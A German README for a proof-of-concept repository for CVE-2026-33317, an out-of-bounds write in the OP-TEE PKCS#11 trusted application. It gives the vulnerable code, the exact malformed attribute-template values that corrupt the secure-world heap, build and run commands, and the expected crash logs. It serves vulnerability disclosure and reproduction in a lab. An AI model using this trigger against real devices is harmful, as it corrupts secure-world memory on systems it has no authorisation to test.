
Proof-of-Concept für CVE-2026-33317, eine Out-of-Bounds-Schreiboperation in der OP-TEE PKCS#11 TA, die eine Heap-Korruption in der Secure World über eine fehlerhaft formatierte Attributvorlage demonstriert.
Dieses Repository enthält den Proof of Concept für die Normal World, Reproduktionshinweise und erfasste Logs für CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9.
Das offizielle OP-TEE Advisory beschreibt fehlende Validierung in
entry_get_attribute_value() für PKCS11_CMD_GET_ATTRIBUTE_VALUE. Der Fehler kann
Out-of-Bounds-Lesezugriffe auf den PKCS#11-TA-Heap verursachen und, mit einer fehlerhaften
Attributvorlage, Schreibzugriffe über den temporären Vorlagenpuffer hinaus. Dieser PoC
zielt auf den Out-of-Bounds-Schreibfall ab und demonstriert die Heap-Korruption in der Secure World im PKCS#11-TA.
CVE-2026-33317>= 3.13.04.11 und später8.7 HochCWE-125, CWE-787Verwenden Sie dies nur in einem lokalen Labor oder einer anderen Umgebung, in der Sie zur Tests von OP-TEE autorisiert sind.
Die lokale Arbeitskopie, aus der diese README erstellt wurde, war ein abgeflachter OP-TEE
QEMUv8-Arbeitsbereich. Das .repo-Verzeichnis und alle .git-Metadaten-Dateien/-Verzeichnisse
wurden entfernt, sodass dieses lokale Archiv nicht mehr mit repo sync oder
normalen Git-Verlaufsbefehlen verwendet werden kann.
Das GitHub-Repository schließt absichtlich die umfangreichen OP-TEE/QEMU-Quellbäume,
Toolchains und Build-Ausgaben aus. Erstellen Sie diese aus qemu-v8-setup.md neu oder kopieren
Sie die PoC-Dateien in ein bestehendes OP-TEE-qemu_v8-Build-Root, bevor Sie die
automatisierte QEMU-Reproduktion aus einem frischen Klon ausführen.
Wichtige Dateien auf oberster Ebene:
Das vorbereitete lokale Archiv enthielt auch Quell-/Build-Verzeichnisse wie optee_os,
optee_client, qemu, linux, trusted-firmware-a, u-boot, buildroot,
out-br und toolchains; diese werden für die Veröffentlichung ignoriert.
Im verwundbaren optee_os-Baum iteriert ta/pkcs11/src/object.c über eine
client-gelieferte serialisierte Attributvorlage:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
Die Schleife beweist nicht, dass jeder Attributkopf und sein Datenbereich vollständig innerhalb der zugewiesenen Vorlage liegen. Der PoC sendet:
attrs_size = 8, genau ein pkcs11_attribute_head und keine Datenbytes.attrs_count = 1.cli_head.id = CKA_LABEL.cli_head.size = 16, passend zum 16-Byte-Label des erstellten Objekts.Das erzeugt eine 16-Byte-Vorlagenzuweisung:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
cli_ref->data zeigt dann auf template + 16, genau ein Byte hinter dem Ende der
Zuweisung. get_attribute() in ta/pkcs11/src/attributes.c sieht, dass die
vom Aufrufer bereitgestellte Größe ausreichend ist, und kopiert das 16-Byte-Label an diesen
Out-of-Bounds-Zeiger, wodurch der PKCS#11-TA-Heap korrumpiert wird.
Voraussetzungen, die vom vorbereiteten QEMUv8-Arbeitsbereich verwendet werden:
expectqemu_v8-Arbeitsbereich mit Build-Ausgaben, Toolchains und QEMU-Binärdatei,
angeordnet wie das lokale Archiv, das in qemu-v8-setup.md beschrieben istPoC erstellen:
./build_poc.sh
Erwartetes Build-Ergebnis:
Built: out/bin/c01_poc
Automatisierte QEMUv8-Reproduktion ausführen:
./run_c01.sh
Der Wrapper prüft vor dem Booten auf diese bereitgestellten Dateien:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_pocWenn die Build-Artefakte fehlen, erstellen/bauen Sie zuerst den OP-TEE-Arbeitsbereich neu
und führen Sie dann ./build_poc.sh erneut aus.
Das Normal-World-Protokoll sollte die konstruierte Anfrage zeigen:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
Das Secure-World-Protokoll sollte die Allokator-Assertion und den TA-Panic enthalten:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
Erfasste Protokolle eines erfolgreichen Laufs sind bereits vorhanden unter:
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c ruft die PKCS#11-TA-UUID
fd02c9da-306c-48c7-a49c-bbd827ae86ee über libteec auf:
CKA_LABEL = "AAAAAAAAAAAAAAAA".CMD_GET_ATTRIBUTE_VALUE-Anfrage mit attrs_size = 8
und cli_head.size = 16.Die erste bösartige Anfrage reicht aus, um Heap-Metadaten zu korrumpieren. Der TA gerät dann in einen Panic, wenn der OP-TEE-bget-Allokator die korrumpierten Blockmetadaten erkennt.
run_c01.sh teilt out/bin über virtio-9p mit dem Gast und schreibt Protokolle
zurück in dasselbe Verzeichnis.out/bin
auf Artefakte innerhalb dieses Archivs zeigen. Das veröffentlichte GitHub-Repository verfolgt nur
die erfassten out/bin/c01_*.log-Dateien.C-01-reproduction.md dokumentiert einen früheren x86-ASAN-Harness-Ansatz. Der
ausführbare PoC in diesem Ordner ist der QEMUv8-TEEC-PoC: c01_poc.c.| Pfad | Zweck |
|---|
c01_poc.c | AArch64-Normal-World-PoC mit rohen libteec-Aufrufen |
build_poc.sh | Kreuzkompiliert c01_poc.c in out/bin/c01_poc |
run_c01.sh | Startet QEMUv8 und führt den PoC über expect aus |
c01_check.exp | Automatisiert Gast-Login, virtio-9p-Mount und PoC-Ausführung |
out/bin/c01_nw.log | Erfasstes Normal-World-Reproduktionsprotokoll |
out/bin/c01_sw.log | Erfasstes Secure-World-Protokoll mit dem PKCS#11-TA-Panic |
reproduction-log.md | Vollständige QEMUv8-Reproduktionshinweise |
qemu-v8-setup.md | OP-TEE-QEMUv8-Einrichtung und Basisvalidierungshinweise |
C-01-reproduction.md | Frühere ASAN-Harness-Hinweise; nicht der ausführbare Haupt-PoC in diesem Ordner |
AGENTS.md | Wartungshinweise für zukünftige KI-/Code-Agenten |